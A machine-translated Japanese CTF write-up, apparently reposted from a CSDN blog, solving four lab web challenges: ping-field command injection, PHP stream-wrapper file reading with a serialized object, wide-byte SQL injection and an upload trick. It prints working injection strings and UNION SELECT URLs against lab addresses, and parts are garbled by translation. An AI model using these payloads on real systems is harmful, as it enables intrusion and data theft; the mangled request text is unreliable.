単純なctf小計

0x01はじめに

とにかく、あるグループの内部予選でのある「クラフトマンカップ」大会の前は、何もすることがなかったので、ウェブの質問を見て、簡単な記録を作りました。

0x02Web質問

2.1コマンドの実行

ここに写真の説明を挿入
1.データパケットの観点から、ipでコマンドが実行されていると推測できます。フィルタリングは少しありますが、フィルタリングは完了していません。試行後、ip = 127.0.0.1 | ls&submit = PINGは成功します(ここでのコードフィルタリングはほとんどdvwaであると推測されます)コマンドの実行は( '|' => '')と同じです。その後に余分なスペースがあるため、突破できます)
postをビルドし、ip = 127.0.0.1 | ls&submit = PINGを送信して、flag.php2を確認します
ここに写真の説明を挿入
。 ip = 127.0.0.1 | pwd&submit = PINGで、パスは/ var / www / htmlです。3
ここに写真の説明を挿入
。直接読むと、スペース、ペイロードのフィルターがあることがわかります。ip= 127.0.0.1 | cat $ IFS / var / www / html / flag.php&submit = PINGはフラグを取得できます
ここに写真の説明を挿入

2.2逆シリアル化

1.指定されたアドレスに直接アクセスすると、コードのヒントが表示されます

you are not admin ! 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    
    
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    
    
    echo "you are not admin ! ";
}
 -->

2.コメントされたコードから、user、file、passの3つのパラメーターが渡され
、次にブレークスルーされることがわかりますif(isset(KaTeX parse error:Expected'EOF '、got'& 'at position 6:user)&̲&(file_get_cont … user、 'r')===“ user is admin”))
つまり、user変数はuser is adminと等しくなければなりません。
コメントによると、file = class.php
パス変数はプロンプトされたコードにあります。あまり意味がないので
ここに写真の説明を挿入
当面は無視しかまいません。まず、ここで突破する必要があります。
次のように、投稿データパッケージ作成するためのphp疑似プロトコルphp:// inputを
考えました。POST/?user = php://input&flie=class.php HTTP / 1.1
ホスト:192.168.1.1: 56782
Cache-Control:max-age = 0
Upgrade-Insecure-Requests:1
User-Agent:Mozilla / 5.0(Windows NT 10.0; Win64; x64)AppleWebKit / 537.36(KHTML、Geckoなど)Chrome / 84.0.4147.105 Safari / 537.36
受け入れる:text / html、application / xhtml + xml、application / xml; q = 0.9、image / webp、image / apng、/; q = 0.8、application / signed-exchange; v = b3; q = 0.9
Accept-Encoding:gzip、deflate
Accept-Language:zh-CN、zh; q = 0.9
接続:close
Content-Length:17

ユーザーは管理者であり
ここに写真の説明を挿入
、class.phpを含める必要があります。class.phpの場所が不明なため、phpの別のカプセル化プロトコルが使用されます。php:// filterは
このプロトコルを使用して任意のファイル読み取ることができます。使用方法:php: //filter/convert.base64-encode/resource=index.php
ここで、読み取ったindex.phpのコンテンツをbase64形式の
POST /?user = php:// input&file = php:// filter / convertに変換します。 base64-encode / resource = class.php HTTP / 1.1
ホスト:192.168.1.1:56782
キャッシュ制御:max-age = 0
アップグレード-安全でない-要求:1
ユーザーエージェント:Mozilla / 5.0(Windows NT 10.0; Win64; x64 )AppleWebKit / 537.36(KHTML、Geckoなど)Chrome / 84.0.4147.89 Safari / 537.36承認
:text / html、application / xhtml + xml、application / xml; q = 0.9、image / webp、image / apng、/ ; q = 0.8、application / signed-exchange; v = b3; q = 0.9
Accept-Encoding:gzip、deflate
Accept-Language:zh-CN、zh; q = 0.9
接続:閉じる
コンテンツ-長さ:17

ユーザーは、ADMINザ・IS
ここに写真の説明を挿入
PD9waHAKCmNsYXNzIFJlYWR7Ly9mMWFnLnBocAogICAgcHVibGljICRmaWxlOwogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9TdHJpbmcoKXsKICAgICAgICBpZihpc3NldCgkdGhpcy0 + ZmlsZSkpewogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICJfX3RvU3RyaW5nIHdhcyBjYWxsZWQhIjsKICAgIH0KfQo / PGO =
コードでのデコード星BASE64

<?php

class Read{
    
    //f1ag.php
    public $file;
    public function __toString(){
    
    
        if(isset($this->file)){
    
    
            echo file_get_contents($this->file);
        }
        return "__toString was called!";
    }
}
?>

これに基づいて、逆シリアル化パラメーターを作成できます。具体的なデータパッケージは次のとおり
です。POST/?user = php://input&file=class.php&pass=O:4: "Read":1:{s:4: "file"; s: 57: "php://filter/read=convert.base64-encode/resource=f1ag.php";} HTTP / 1.1
ホスト:192.168.1.1 :56782
キャッシュ制御:max-age = 0
Upgrade-Insecure-Requests: 1
ユーザーエージェント:Mozilla / 5.0(Windows NT 10.0; Win64; x64)AppleWebKit / 537.36(KHTML、Geckoなど)Chrome / 84.0.4147.89 Safari / 537.36承認
:text / html、application / xhtml + xml、application / xml; q = 0.9、image / webp、image / apng、/ ; q = 0.8、application / signed-exchange; v = b3; q = 0.9
Accept-Encoding:gzip、deflate
Accept-Language:zh-CN、zh; q = 0.9
接続:
コンテンツを閉じる-長さ:17

ユーザーは管理者であり
ここに写真の説明を挿入
、base64デコードを使用してフラグを取得します
ここに写真の説明を挿入

2.3バイトの秘密

タイトルの説明:パラメータIDが
ここに写真の説明を挿入
sql1.phpに直接アクセスし、文字化けしていることと、タイトル自体によって指定されたヒントIDがワイドバイトインジェクションである可能性がある
ここに写真の説明を挿入
ことを確認しました試してみたところ、ワイドバイトインジェクションであることがわかりました

http://192.168.1.1:3036/sql1.php?id=%df'

ここに写真の説明を挿入
1.ライブラリをバーストします

http://192.168.1.1:3036/sql1.php?id=%df%27%20union%20select%201,%20database()%23得出数据库pwnhubsql1

ここに写真の説明を挿入
2.バースト

http://192.168.1.1:3036/sql1.php?id=%df%27union%20select%201,group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()%23两个表article,flag

ここに写真の説明を挿入
3.
テーブル名に応じたフラグテーブルの爆発テーブルフィールドの推測ここでは、テーブルフラグが16進数に変換されます。

http://192.168.1.1:3036/sql1.php?id=%df%27union%20select%201,group_concat(column_name)from%20information_schema.columns%20where%20table_name=0x666c6167%23爆出字段id,thisisflag

ここに写真の説明を挿入
4.旗を破裂させる

http://192.168.1.1:3036/sql1.php?id=%df%27union%20select%201,hex(group_concat(thisisflag))%20from%20flag%23

ここに写真の説明を挿入
この数字の文字列を16進数でデコードして、フラグを取得します
ここに写真の説明を挿入

2.4ファイルのアップロード

この質問はもっと皮肉なもの
です。1。写真をアップロードするだけで、give_me_flag.phpを渡してほしいと言われ、フラグを付けました。2
ここに写真の説明を挿入
。フラグを取得するために、名前をgive_me_flag.php変更しました。
ここに写真の説明を挿入

0x03の概要

一般的に、質問は比較的単純で、特別な困難はありません。楽しみのために、エムなどのためにそれを行ってください。

おすすめ

転載: blog.csdn.net/xiaoguaiii/article/details/107963005